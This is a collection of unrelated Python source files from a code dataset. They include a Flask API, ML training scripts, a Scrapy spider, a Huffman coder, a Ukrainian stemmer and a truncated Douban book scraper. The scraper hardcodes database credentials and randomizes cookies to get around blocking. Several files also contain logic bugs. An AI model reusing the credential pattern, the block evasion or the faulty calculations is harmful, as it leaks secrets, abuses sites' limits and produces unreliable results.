login_required\nfrom app.api.helpers import not_found\nfrom app.api.services import domain_service, key_values_service\n\n\n@api.route('/domains', methods=['GET'])\n@login_required\ndef get_domains():\n domains = []\n for domain in domain_service.get_active_domains():\n domains.append(domain.serialize())\n return jsonify({'domains': domains})\n\n\n@api.route('/domains/', methods=['GET'])\n@login_required\ndef get_domain(domain_id):\n domain = domain_service.get_by_name_or_id(domain_id, show_legacy=False)\n if not domain:\n return not_found('Domain does not exist')\n\n data = domain.serialize()\n\n data['criteriaEnforcementCutoffDate'] = None\n key_value = key_values_service.get_by_key('criteria_enforcement_cutoff_date')\n if key_value:\n data['criteriaEnforcementCutoffDate'] = (\n pendulum.parse(key_value['data']['value'], tz='Australia/Canberra').isoformat()\n )\n\n return jsonify(data)\n","sub_path":"app/api/views/domains.py","file_name":"domains.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"580254125","text":"\n# init accuracy, max loop, and loop count\n_accuracy = 0.0\n_maxLoop = 10000\n_loopCount = 0\n_timeUpdate = 0\n\n# read csv using pandas library\nimport pandas as pd\ndf = pd.read_csv(\"data/diabetes.csv\", header=0)\ncols = [\"preg\", \"plas\", \"pres\", \"skin\", \"insu\", \"mass\", \"pedi\", \"age\"]\n# feature importace result per column using ExtraTreesClassifier\n# [ 0.09954061 0.24259426 0.09109709 0.08101766 0.07893924 0.14250498 0.12221649 0.14208966]\n# reduced columns based on feature selection == [\"preg\", \"plas\", \"pres\", \"mass\", \"pedi\", \"age\"]\ndf[\"class\"] = df[\"class\"].apply(lambda x: 0 if x == 'tested_negative' else 1)\n\nwhile _loopCount < _maxLoop :\n # print every 1000 iteration\n if _loopCount % 1000 == 0 : \n print (\"Current loop count: {} \\nNumber of time tree updated: {} \\nBest accuracy: {} \\n\".format(_loopCount, _timeUpdate, _accuracy))\n\n # split test and train data\n from sklearn.model_selection import train_test_split\n train_df, test_df = train_test_split(df, test_size = 0.5)\n train_cols = train_df[list(cols)].values\n train_target = train_df[\"class\"].values\n test_cols = test_df[list(cols)].values\n test_target = test_df[\"class\"].values\n\n # build decision tree using training data\n from sklearn import tree\n clf = tree.DecisionTreeClassifier(criterion=\"entropy\", max_depth=3)\n clf.fit(train_cols, train_target)\n\n # test decision tree using test data\n predict = clf.predict(test_cols)\n false_prediction = 0\n for index, val in enumerate (predict) :\n if test_target[index] != val :\n false_prediction = false_prediction + 1\n\n # calculate new accuracy\n _newAccuracy = float (len (train_cols) - false_prediction) / float (len (test_cols)) * 100\n\n # check if this tree is better than the previous tree\n if _newAccuracy > _accuracy :\n # renew accuracy and add update count\n _accuracy = _newAccuracy\n _timeUpdate = _timeUpdate + 1\n\n # save train data\n train_df.to_csv(\"data/diabetes_train.csv\")\n # save_train = open (\"data/jantung_train.csv\", 'w')\n # save_train.write(train_cols)\n\n # save test data\n test_df.to_csv(\"data/diabetes_test.csv\")\n # save_test = open (\"data/jantung_test.csv\", 'w')\n # save_test.write(test_df.values)\n\n # save tree\n from sklearn.externals.six import StringIO\n with open (\"result/diabetes.dot\", 'w') as f :\n f = tree.export_graphviz (clf, out_file=f, feature_names=cols)\n \n # export tree\n import os\n os.system('dot -Tpng result/diabetes.dot -o result/diabetes.png')\n \n # increment loop counter\n _loopCount = _loopCount + 1\n\nprint (\"Final accuracy: {} \\nDone.\".format(_accuracy))","sub_path":"diabetes_decision_tree_builder.py","file_name":"diabetes_decision_tree_builder.py","file_ext":"py","file_size_in_byte":2738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"23862420","text":"#!/usr/bin/env python3\nimport scrapy\nimport pandas as pd\nimport datetime as dt\n\n\nclass NewsSpider(scrapy.Spider):\n\n\tname = 'newsspider'\n\tstart_urls = ['http://ekurd.net/all-news']\n\n\n\tdef __init__(self):\n\t\t\n\t\tself.out = pd.DataFrame(columns=[\n\t\t\t'Date', \n\t\t\t'Title', \n\t\t\t'Description', \n\t\t\t'URL', \n\t\t\t'Domain',\n\t\t\t'SubDomain',\n\t\t\t'DownloadDate',\n\t\t\t'Type'])\n\t\tself.dates = []\n\t\tself.titles = []\n\t\tself.descrips = []\n\t\tself.urls = []\n\t\tself.domain = []\n\t\tself.subdomain = []\n\t\tself.downloadate = []\n\t\tself.type = []\n\t\tself.now = str(dt.datetime.now().date())\n\n\n\tdef parse(self, response):\n\n\t\tSET_SELECTOR = '.entry-list'\n\n\t\t# Define the link to the next page\n\t\tNEXT_PAGE_SELECTOR = \"//a[@class='nextpostslink']/@href\"\n\t\t# Extract the link using xpath\n\t\tnext_page = response.xpath(NEXT_PAGE_SELECTOR).extract_first()\n\t\t\n\t\tfor news in response.css(SET_SELECTOR):\n\n\t\t\tDATE_SELECTOR = 'aside a time::text'\n\t\t\tTITLE_SELECTOR = 'h2 a ::text'\n\t\t\tDESCRIP_SELECTOR = 'p ::text'\n\t\t\tURL_SELECTOR = 'h2 a ::attr(href)'\n\n\t\t\tself.dates.append(news.css(DATE_SELECTOR).extract()[0])\n\t\t\tself.titles.append(news.css(TITLE_SELECTOR).extract()[0])\n\t\t\tself.descrips.append(news.css(DESCRIP_SELECTOR).extract()[0])\n\t\t\tself.urls.append(news.css(URL_SELECTOR).extract()[0])\n\t\t\tself.domain.append('ekurd')\n\t\t\tself.subdomain.append('all')\n\t\t\tself.downloadate.append(self.now)\n\t\t\tself.type.append('archive')\n\n\t\t\tprint('ekurd', 'all')\n\t\t\tprint('----', news.css(DATE_SELECTOR).extract()[0])\n\n\t\tout2 = pd.DataFrame(columns=[\n\t\t\t'Date', \n\t\t\t'Title', \n\t\t\t'Description', \n\t\t\t'URL', \n\t\t\t'Domain',\n\t\t\t'SubDomain',\n\t\t\t'DownloadDate',\n\t\t\t'Type'])\n\n\t\tout2['Date'] = self.dates\n\t\tout2['Title'] = self.titles\n\t\tout2['Description'] = self.descrips\n\t\tout2['URL'] = self.urls\n\t\tout2['Domain'] = self.urls\n\t\tout2['SubDomain'] = self.urls\n\t\tout2['DownloadDate'] = self.urls\n\t\tout2['Type'] = self.urls\n\n\t\tfor c in out2.columns:\n\t\t\tout2[c] = out2[c].str.encode('utf-8')\n\n\t\tself.out = pd.concat([self.out, out2], axis=0)\n\n\t\t# Put a conditional if there is a next page url then rerun the parser\n\t\tif next_page:\n\t\t\tyield scrapy.Request(\n\t\t\t\tresponse.urljoin(next_page),\n\t\t\t\tcallback=self.parse\n\t\t\t)\n\n\t\telse:\n\t\t\tself.out.loc[:, [\n\t\t\t'Date', \n\t\t\t'Title', \n\t\t\t'Description', \n\t\t\t'URL', \n\t\t\t'Domain',\n\t\t\t'SubDomain',\n\t\t\t'DownloadDate',\n\t\t\t'Type']]\n\t\t\tself.out = self.out.drop_duplicates()\n\t\t\tself.out.to_csv('../data/ekurd_spider_{}.csv'.format(self.now))\n","sub_path":"spiders/scrapy_ekurd.py","file_name":"scrapy_ekurd.py","file_ext":"py","file_size_in_byte":2400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"109884082","text":"class BankAccount:\n def __init__(self,accountNumber,name):\n self.accountNumber = accountNumber\n self.name = name\n self.balance = 0\n self.currentTransaction = 1\n self.transactionHistory = {self.currentTransaction:\"Account Created\"}\n \n def deposit(self,depositAmount):\n self.balance = self.balance + depositAmount\n self.currentTransaction = self.currentTransaction + 1\n self.transactionHistory[self.currentTransaction] = \"Deposit of $\" + str(depositAmount)\n\n def withdraw(self,withdrawAmount):\n self.balance = self.balance - withdrawAmount\n self.currentTransaction = self.currentTransaction + 1\n self.transactionHistory[self.currentTransaction] = \"Withdrawl of $\" + str(withdrawAmount)\n\n def printDetails(self):\n print(\"Account Details for account #\",self.accountNumber,\":\",sep=\"\")\n print(\"Name:\",self.name)\n print(\"Balance: $\",self.balance,sep=\"\",end=\"\\n\")\n #print(self.transactionHistory)\n for k in self.transactionHistory:\n print(k,\"=>\",self.transactionHistory[k])\n print()\n\n\n\ndef main():\n account1 = BankAccount(12345,\"Kristina Keenan\")\n account1.deposit(100)\n account1.printDetails()\n \n account2 = BankAccount(67890, \"Liz Lavin\")\n account2.deposit(200)\n account2.withdraw(50)\n account2.printDetails()\n\n \n\nmain()\n","sub_path":"4_27_15.py","file_name":"4_27_15.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"366846645","text":"from itertools import groupby\nimport heapq as hq\n\n# -1 if ab\n\n\ndef cmp(a, b, flag):\n\n if(a == b):\n return False\n else:\n if(flag == \"gt\"):\n if(a < b):\n return False\n else:\n return True\n else:\n if(a < b):\n return True\n else:\n return False\n\n\nclass Node(object):\n left = None\n right = None\n item = None\n weight = 0\n\n def __init__(self, i, w):\n self.item = i\n self.weight = w\n\n def setChildren(self, ln, rn):\n self.left = ln\n self.right = rn\n\n def __repr__(self):\n return \"%s - %s -- %s _ %s\" % (self.item, self.weight, self.left, self.right)\n\n # def __cmp__(self, a):\n # return cmp(self.weight, a.weight)\n\n def __lt__(self, other):\n return cmp(self.weight, other.weight, flag=\"lt\")\n\n def __gt__(self, other):\n return cmp(self.weight, other.weight, flag=\"gt\")\n\n\nclass Huffboth():\n root = Node(0, 0)\n codes = {}\n\n def __init__(self):\n self.root = Node(0, 0)\n\n def Encode(self, input):\n itemqueue = [Node(a, len(list(b))) for a, b in groupby(sorted(input))]\n\n hq.heapify(itemqueue)\n index = len(itemqueue)\n while len(itemqueue) > 1:\n l = hq.heappop(itemqueue)\n r = hq.heappop(itemqueue)\n n = Node(None, r.weight+l.weight)\n\n n.setChildren(l, r)\n hq.heappush(itemqueue, n)\n if(index == 2):\n self.root = n\n # print(self.root)\n index = index - 1\n\n self.codes = {}\n\n def codeIt(s, node):\n if node.item:\n if not s:\n self.codes[node.item] = \"0\"\n else:\n self.codes[node.item] = s\n else:\n codeIt(s+\"0\", node.left)\n codeIt(s+\"1\", node.right)\n\n codeIt(\"\", itemqueue[0])\n print(f'Encoded : {\"\".join([self.codes[a] for a in input])}')\n return \"\".join([self.codes[a] for a in input])\n\n def Decode(self, s):\n root = self.root\n current = root\n result = ''\n print(s)\n for code in s:\n if int(code) == 0:\n current = current.left\n else:\n current = current.right\n if current.left == None and current.right == None:\n result += str(current.item)\n current = root\n print(f\"Decoded: {result}\")\n return result\n\n def getTree(self):\n return self.codes\n\n# obj = Huffboth()\n\n# encoded = obj.huffman(input)\n# print(encoded)\n# print(input)\n# obj.decodeHuff(encoded[1])\n# ({'a': '0', 'c': '111', 'b': '10', 'd': '110'}, '0010010111010111110')\n","sub_path":"classBased.py","file_name":"classBased.py","file_ext":"py","file_size_in_byte":2808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"206991432","text":"#!/usr/bin/python3\n\nimport csv\nimport secrets\nimport base64\nimport random\n\ntokenlen_short=2\ntokenlen_full=tokenlen_short+3\n\ntokens_short = []\ntokens_full = []\n\ndef genToken():\n global tokens_short, tokens_full\n tokennotfound = True\n x=bytes([0])\n xy=bytes([0])\n while tokennotfound:\n x=base64.b16encode(secrets.token_bytes(tokenlen_short)).decode(\"utf8\")\n y=base64.b16encode(secrets.token_bytes(tokenlen_full-tokenlen_short)).decode(\"utf8\")\n xy=y+\"-\"+x\n tokennotfound = x in tokens_short or xy in tokens_full or len(xy) != 11 ## ensure tokens are unique and of len 11\n tokens_short += [y]\n tokens_full += [xy]\n return xy\n\nwith open(\"./data/input_r3_voters_emails.csv\") as cf:\n with open(\"./data/output_for_tp1_tokens_for_r3_voters.csv\",\"w+\") as cout:\n cs = csv.reader(cf)\n cwet = csv.writer(cout)\n for row in cs:\n newrow = [row[0],genToken()]\n cwet.writerow(newrow)\n\n# with open(\"./data/output_for_tp2_r3_fulltokens_only.csv\",\"w+\") as cout:\n# cwt = csv.writer(cout)\n# ## permutate list so identity can't be guessed from order in list (e.g. alphabetic ordered e-mails)\n# random.shuffle(tokens_full)\n# for tk in tokens_full:\n# cwt.writerow([tk])\n\n# TP2 also only has the short tokens!\nwith open(\"./data/output_for_all_shorttokens_allowed_to_vote.csv\",\"w+\") as cout:\n cwst = csv.writer(cout)\n ## permutate list so identity can't be guessed from order in list (e.g. alphabetic ordered e-mails)\n random.shuffle(tokens_short)\n for tk in tokens_short:\n cwst.writerow([tk.decode(\"utf8\")])\n\n","sub_path":"token_gen.py","file_name":"token_gen.py","file_ext":"py","file_size_in_byte":1638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"326828097","text":"from sendgrid import SendGridAPIClient\nfrom sendgrid.helpers.mail import Mail\n\n\ndef send_token(email, token):\n send_grid_api_client = SendGridAPIClient()\n _mail = Mail(\n from_email=\"foodie@norepy.com\",\n to_emails=email,\n subject=\"Reseteo de contraseña\",\n plain_text_content=f'Tu token de recuperacion de contraseña es {token}'\n )\n send_grid_api_client.client.mail.send.post(request_body=_mail.get())\n","sub_path":"src/services/send_email_service.py","file_name":"send_email_service.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"478889493","text":"import os\nimport re\nimport fnmatch\nimport numpy as np\nclass Preprocessing:\n @staticmethod\n def read_texts_in_dictionaries(directory):\n i = 0\n d = {}\n d_name = {}\n for file_name in os.listdir(directory + '/'):\n if fnmatch.fnmatch(file_name, '*.txt'):\n with open(directory + '/' + file_name, 'r', encoding='utf-8', errors='ignore') as file:\n data = file.read().replace('\\n', '')\n d[\"text{0}\".format(i)] = re.sub(r'\\{[^)]*\\}|\\,|\\.|\\»|\\«|\\—|\\(|\\)|\\s(а|та|в|i|:|й|той|ті|y|\\+|\\-)\\s',\n '', data)\n d_name[\"text{0}\".format(i)] = file_name\n i = i + 1\n return d, d_name\n\n @staticmethod\n def read_stop_words_in_list(file):\n stop_words_list = []\n with open(file, 'r', encoding='utf-8', errors=\"ignore\") as file:\n stop_words_list.append(file.read().split('\\n\\n'))\n arr = np.array(stop_words_list)\n stop_words_list = arr.flatten().tolist()\n\n return stop_words_list\n\n @staticmethod\n def append_texts_tockens_in_dictionary(texts_dictionary):\n import nltk\n d_tockens = {}\n # nltk.download('punkt')\n for key, value in texts_dictionary.items():\n d_tockens.setdefault(key, nltk.word_tokenize(value))\n return d_tockens\n\n @staticmethod\n def stemmatize_texts_tockens(tockens_dictionary):\n d_stems = {}\n for key, value in tockens_dictionary.items():\n stems = []\n for tocken in value:\n stems.append(UkrainianStemmer.stem_word(tocken))\n d_stems.setdefault(key, stems)\n return d_stems\n\n @staticmethod\n def stemmatize_stop_words_list(stop_words_list):\n stop_stems_list = []\n for word in stop_words_list:\n stop_stems_list.append(UkrainianStemmer.stem_word(word))\n return stop_stems_list\n\n @staticmethod\n def stop_words_stems_dictionary_cleaning(stems_dictionary, stop_stems_list):\n d_clean_stems = {}\n for key, value in stems_dictionary.items():\n for stem in stop_stems_list:\n if stem in value:\n value.remove(stem)\n d_clean_stems.setdefault(key, value)\n texts = list(d_clean_stems.values())\n\n return texts\n\n @staticmethod\n def sampling(texts, sample_size):\n samples = []\n for text in texts:\n sample = np.random.choice(text, sample_size)\n samples.append(sample)\n return samples\n\n\n\n\nclass UkrainianStemmer:\n __vowel = r'аеиоуюяіїє' # http://uk.wikipedia.org/wiki/Голосний_звук\n __perfectiveground = r'(ив|ивши|ившись|ыв|ывши|ывшись((?<=[ая])(в|вши|вшись)))$'\n # http://uk.wikipedia.org/wiki/Рефлексивне_дієслово\n __reflexive = r'(с[��ьи])$'\n # http://uk.wikipedia.org/wiki/Прикметник + http://wapedia.mobi/uk/Прикметник\n __adjective = r'(ими|ій|ий|а|е|ова|ове|ів|є|їй|єє|еє|я|ім|ем|им|ім|их|іх|ою|йми|іми|у|ю|ого|ому|ої)$'\n # http://uk.wikipedia.org/wiki/Дієприкметник\n __participle = r'(ий|ого|ому|им|ім|а|ій|у|ою|ій|і|их|йми|их)$'\n # http://uk.wikipedia.org/wiki/Дієслово\n __verb = r'(сь|ся|ив|ать|ять|у|ю|ав|али|учи|ячи|вши|ши|е|ме|ати|яти|є)$'\n # http://uk.wikipedia.org/wiki/Іменник\n __noun = r'(а|ев|ов|е|ями|ами|еи|и|ей|ой|ий|й|иям|ям|ием|ем|ам|ом|о|у|ах|иях|ях|ы|ь|ию|ью|ю|ия|ья|я|і|ові|ї|ею|єю|ою|є|еві|ем|єм|ів|їв|ю)$'\n __rvre = r'[аеиоуюяіїє]'\n __derivational = r'[^аеиоуюяіїє][аеиоуюяіїє]+[^аеиоуюяіїє]+[аеиоуюяіїє].*(?<=о)сть?$'\n __RV = ''\n\n @staticmethod\n def ukstemmer_search_preprocess(word):\n word = word.lower()\n word = word.replace(\"'\", \"\")\n word = word.replace(\"ё\", \"е\")\n word = word.replace(\"ъ\", \"ї\")\n return word\n\n @staticmethod\n def s(st, reg, to):\n orig = st\n UkrainianStemmer.__RV = re.sub(reg, to, st)\n return (orig != UkrainianStemmer.__RV)\n\n @staticmethod\n def stem_word(word):\n word = UkrainianStemmer.ukstemmer_search_preprocess(word)\n if not re.search('[аеиоуюяіїє]', word):\n stem = word\n else:\n p = re.search(UkrainianStemmer.__rvre, word)\n start = word[0:p.span()[1]]\n UkrainianStemmer.__RV = word[p.span()[1]:]\n\n # Step 1\n if not UkrainianStemmer.s(UkrainianStemmer.__RV, UkrainianStemmer.__perfectiveground, ''):\n\n UkrainianStemmer.s(UkrainianStemmer.__RV, UkrainianStemmer.__reflexive, '')\n if UkrainianStemmer.s(UkrainianStemmer.__RV, UkrainianStemmer.__adjective, ''):\n UkrainianStemmer.s(UkrainianStemmer.__RV, UkrainianStemmer.__participle, '')\n else:\n if not UkrainianStemmer.s(UkrainianStemmer.__RV, UkrainianStemmer.__verb, ''):\n UkrainianStemmer.s(UkrainianStemmer.__RV, UkrainianStemmer.__noun, '')\n # Step 2\n UkrainianStemmer.s(UkrainianStemmer.__RV, 'и$', '')\n\n # Step 3\n if re.search(UkrainianStemmer.__derivational, UkrainianStemmer.__RV):\n UkrainianStemmer.s(UkrainianStemmer.__RV, 'ость$', '')\n\n # Step 4\n if UkrainianStemmer.s(UkrainianStemmer.__RV, 'ь$', ''):\n UkrainianStemmer.s(UkrainianStemmer.__RV, 'ейше?$', '')\n UkrainianStemmer.s(UkrainianStemmer.__RV, 'нн$', u'н')\n\n stem = start + UkrainianStemmer.__RV\n return stem\n","sub_path":"preprocessing/preprocessing_utils.py","file_name":"preprocessing_utils.py","file_ext":"py","file_size_in_byte":5965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"351148340","text":"import tensorflow as tf\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Dropout, Activation, Flatten, Conv2D, MaxPooling2D\nfrom tensorflow import keras\nimport numpy as np\nimport time\nimport os\nimport datetime\n\nX = np.load('/content/drive/MyDrive/X.npy', 'r')\ny = np.load('/content/drive/MyDrive/y.npy', 'r')\n\nconv_layers = [3, 4, 5]\nconv_nodes = [256, 512]\nlin_layers = [0, 1, 2]\nlin_nodes = [16, 32]\nbatch_sizes = [256]\nepochs = 30\n# 0.0005 got 33.36 loss, up to 88% acc\n# 0.0002 val_loss: 0.3156 - val_accuracy: 0.8682\n# 0.0005 val_loss: 0.2902 - val_accuracy: 0.8726\nlearning_rate = 0.0005\nX = X/255.0\n\nfor conv_layer in conv_layers:\n model = Sequential()\n for conv_node in conv_nodes:\n for lin_layer in lin_layers:\n for lin_node in lin_nodes:\n for batch_size in batch_sizes:\n for layer in range(conv_layer):\n model.add(Conv2D(conv_node, (2,2), input_shape = X.shape[1:]))\n model.add(Activation('relu'))\n if layer < 2:\n model.add(MaxPooling2D(pool_size=(2,2)))\n model.add(Flatten())\n for layer2 in range(lin_layer):\n model.add(Dense(lin_node))\n model.add(Activation('relu'))\n\n # output layer\n model.add(Dense(1))\n model.add(Activation('sigmoid'))\n model_runtime = int(time.time())\n model_name = (f'CatSpot-Conv:{conv_layer}*{conv_node}-Linear:{lin_layer}*{lin_node}-@{model_runtime}')\n\n opt = keras.optimizers.Adam(learning_rate=learning_rate)\n\n model.compile(loss='binary_crossentropy',optimizer=opt ,metrics=['accuracy'])\n\n print('\\nConv_layers:', conv_layer, '\\nConv_nodes:', conv_node, '\\nBatch_size: ', batch_size, '\\nRuntime:', model_runtime)\n # '\\nLin_layers:', lin_layer, '\\nLin_nodes:', lin_node, \n\n logdir = os.path.join(\"/content/drive/MyDrive/logs\", model_name)\n\n tensorboard_callback = tf.keras.callbacks.TensorBoard(logdir, histogram_freq=1)\n\n model_struct = f'CatSpot-Conv:{conv_layer}*{conv_node}-Linear:{lin_layer}*{lin_node}'\n\n checkpoint_filepath = '/content/drive/MyDrive/checkpoints/' + model_struct + '-V_Loss:{val_loss:.4f}-V_Acc:{val_accuracy:.4f}'\n \n model_checkpoint_callback = tf.keras.callbacks.ModelCheckpoint(\n filepath=checkpoint_filepath,\n save_weights_only=False,\n monitor='val_loss',\n mode='min',\n save_best_only=True)\n\n early_stop_callback = tf.keras.callbacks.EarlyStopping(\n monitor='val_loss', min_delta=0, patience=3, verbose=0,\n mode='auto', baseline=None)\n\n callbacks_list = [tensorboard_callback,\n early_stop_callback]\n\n model.fit(X, y, batch_size=batch_size, epochs=epochs, validation_split=0.1, callbacks=[callbacks_list])","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"630254633","text":"# rehashing will hash the original elements\n# again in a new hash table O(n)\nclass ListNode(object):\n\n\tdef __init__(self, val, next = None):\n\t\tself.val = val\n\t\tself.next = next\n\n\nclass Solution:\n\tdef rehashing(self, hashTable):\n\t\tsize = len(hashTable)\n\t\tif size <= 0:\n\t\t\treturn hashTable\n\n\t\tdouble = size * 2\n\t\tnewTable = [None] * double\n\n\t\t# traverse original table\n\t\tfor i in range(size):\n\t\t\twhile hashTable[i]:\n\t\t\t\tnewId = hashTable[i].val % double\n\t\t\t\tif newTable[newId] is None:\n\t\t\t\t\tnewTable[newId] = ListNode(hashTable[i].val)\n\t\t\t\telse:\n\t\t\t\t\t# container the first node\n\t\t\t\t\tdummy = newTable[newId]\n\t\t\t\t\twhile dummy.next:\n\t\t\t\t\t\tdummy = dummy.next\n\t\t\t\t\tdummy.next = ListNode(hashTable[i].val)\n\t\t\t\t\t# O(n)\n\t\treturn newTable\n","sub_path":"Data_Structure_Combo/Hash_Table/rehashing.py","file_name":"rehashing.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"503181715","text":"import numpy as np\nimport math\n\n\ndef step_1_and_2(matrix):\n dim = matrix.shape[0]\n cur_mat = matrix.copy()\n\n for row_num in range(dim):\n cur_mat[row_num] -= np.min(cur_mat[row_num])\n\n for col_num in range(dim):\n cur_mat[:, col_num] -= np.min(cur_mat[:, col_num])\n\n return cur_mat,dim\n\n\ndef step_3_helper_1(zeroes_mat, marked_zeroes):\n #get row/col with minimum number of zeroes [number of zeroes, index of row/col]\n min_row = [math.inf, -1]\n\n for row_idx in range(zeroes_mat.shape[0]):\n if 0 < np.sum(zeroes_mat[row_idx]) < min_row[0]:\n min_row = [np.sum(zeroes_mat[row_idx]), row_idx]\n # print(zeroes_mat)\n\n #get marked_zero location and mark corresponding row/col as False\n zero_idx = np.where(zeroes_mat[min_row[1]])[0][0]\n marked_zeroes.append((min_row[1], zero_idx))\n zeroes_mat[min_row[1], :] = False\n zeroes_mat[:, zero_idx] = False\n\n\ndef step_3_helper_2(zeroes_mat, marked_zeroes):\n #mark every single row/col with False and get zeroes locations\n while True in zeroes_mat:\n step_3_helper_1(zeroes_mat, marked_zeroes)\n\n\ndef step_3(matrix):\n cur_mat = matrix\n zero_bool_mat = (cur_mat == 0)\n zeroes_mat_cpy = zero_bool_mat.copy()\n marked_zeroes = []\n step_3_helper_2(zeroes_mat_cpy, marked_zeroes)\n\n #get indexes of rows and cols with marked zeroes\n marked_zeroes_rows = []\n marked_zeroes_cols = []\n for i in range(len(marked_zeroes)):\n marked_zeroes_rows.append(marked_zeroes[i][0])\n marked_zeroes_cols.append(marked_zeroes[i][1])\n\n #\n non_marked_row = list(set(range(cur_mat.shape[0])) - set(marked_zeroes_rows))\n marked_cols = []\n\n flag = True\n while flag:\n flag = False\n for i in range(len(non_marked_row)):\n row_arr = zero_bool_mat[non_marked_row[i], :]\n for j in range(len(row_arr)):\n if row_arr[j] == True and j not in marked_cols:\n marked_cols.append(j)\n flag = True\n\n for row_num, col_num in marked_zeroes:\n if row_num not in non_marked_row and col_num in marked_cols:\n non_marked_row.append(row_num)\n flag = True\n\n marked_rows = list(set(range(cur_mat.shape[0])) - set(non_marked_row))\n return marked_zeroes, marked_rows, marked_cols\n # for j in range(row_arr.shape[0])\n\n\ndef step_4(matrix,cover_rows, cover_cols):\n cur_mat = matrix\n non_zero_elems = []\n\n for row in range(len(cur_mat)):\n if row not in cover_rows:\n for i in range(len(cur_mat[row])):\n if i not in cover_cols:\n non_zero_elems.append(cur_mat[row][i])\n min_num = min(non_zero_elems)\n\n for row in range(len(cur_mat)):\n if row not in cover_rows:\n for i in range(len(cur_mat[row])):\n if i not in cover_cols:\n cur_mat[row, i] -= min_num\n\n for i in range(len(cover_rows)):\n for j in range(len(cover_cols)):\n cur_mat[cover_rows[i], cover_cols[j]] += min_num\n\n return cur_mat\n\n\ndef hungarian_matrix_method(matrix):\n mat, dim = step_1_and_2(matrix)\n zero_count = 0\n\n while zero_count < dim:\n res_pos, marked_rows, marked_cols = step_3(mat)\n zero_count = len(marked_cols) + len(marked_rows)\n\n if zero_count < dim:\n mat = step_4(mat, marked_rows, marked_cols)\n\n return res_pos\n\n\ndef calc_minimum_cost(matrix, positions):\n res = 0\n ans_mat = np.zeros((matrix.shape[0], matrix.shape[1]), dtype=int)\n for i in range(len(positions)):\n res += matrix[positions[i][0],positions[i][1]]\n ans_mat[positions[i][0], positions[i][1]] = matrix[positions[i][0], positions[i][1]]\n return res, ans_mat\n\n\nif __name__ == '__main__':\n mat = np.array([[5,5,20,2,6],\n [7,4,2,3,4],\n [9,3,5,15,3],\n [7,2,6,7,2],\n [6,5,7,9,1]])\n print(mat)\n match = hungarian_matrix_method(mat.copy())\n print(match)\n # print(match)\n # print('##########################')\n ans,ans_mat = calc_minimum_cost(mat, match)\n print(ans)\n print(ans_mat)\n\n\n","sub_path":"stable_marriage_and_assignment/hungarian_method_matrix.py","file_name":"hungarian_method_matrix.py","file_ext":"py","file_size_in_byte":4187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"32261252","text":"\"\"\"\n@author: jtahstu\n@contact: root@jtahstu.com\n@site: http://www.jtahstu.com\n@time: 2018/1/15 11:14\n\"\"\"\nimport string\nimport random\n\nimport requests\nfrom bs4 import BeautifulSoup\nfrom pymongo import MongoClient\nimport time\nimport pymongo\nfrom datetime import datetime\n\ndb = MongoClient('mongodb://jtahstu:jtahstu@127.0.0.1:27017/').iApp\n#db = MongoClient('mongodb://127.0.0.1:27017/').iApp\n\n\ndef getHtml(url):\n salt = ''.join(random.sample(string.ascii_letters + string.digits, 11))\n headers = {\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',\n 'Accept-Encoding': 'gzip, deflate, br',\n 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7',\n 'Connection': 'keep-alive',\n 'Cookie': 'bid=' + salt ,\n 'DNT': '1',\n 'Host': 'book.douban.com',\n 'Upgrade-Insecure-Requests': '1',\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/527.36 (KHTML, like Gecko) Chrome/60.0.3239.132 Safari/527.36'\n }\n # proxies = [\n # \"101.53.101.172:9999\",\"171.117.93.229:8118\",\"119.251.60.37:21387\",\"58.246.194.70:8080\",\n # \"115.173.218.224:9797\",\"110.77.0.70:80\"\n # ]\n html = requests.get(url, headers=headers)\n if html.status_code != 200:\n print('status_code is %d' % html.status_code)\n quit(0)\n return html.text\n\n\ndef getDateTime():\n return time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))\n\n\ndef getTagsFromUrl():\n url = \"https://book.douban.com/tag/?icn=index-nav\"\n html = getHtml(url)\n soup = BeautifulSoup(html, \"lxml\") # 解析网页信息\n tags = soup.select(\"#content > div > div.article > div > div > table > tbody > tr > td > a\")\n urls = []\n for tag in tags:\n tag = tag.get_text() # 将列表中的每一个标签信息提取出来\n url = \"https://book.douban.com/tag/\" + str(tag)\n urls.append(url)\n for index, url in enumerate(urls):\n item = {\n 'id': index + 1,\n 'tag_url': url,\n 'tag_name': url.replace('https://book.douban.com/tag/', ''),\n 'status': 1,\n 'updated_at': getDateTime(),\n 'crawl_count': 0,\n 'page': 0\n }\n res = db.douban_tag.insert_one(item)\n print(res)\n # return urls\n\n\ndef getTagsFromDB():\n return db.db_book_tag.find({'status': 1}) \\\n .sort([('id', pymongo.ASCENDING)])\n\n\ndef getSubjectId(url, page):\n url += '?start=' + str((page - 1) * 20) + '&type=T'\n print(url)\n html = getHtml(url)\n soup = BeautifulSoup(html, \"html.parser\") # 解析网页信息\n subjects = soup.select(\"#subject_list > ul.subject-list > li.subject-item > div.info > h2 > a\")\n if len(subjects) == 0:\n return []\n ids = []\n for subject in subjects:\n href = 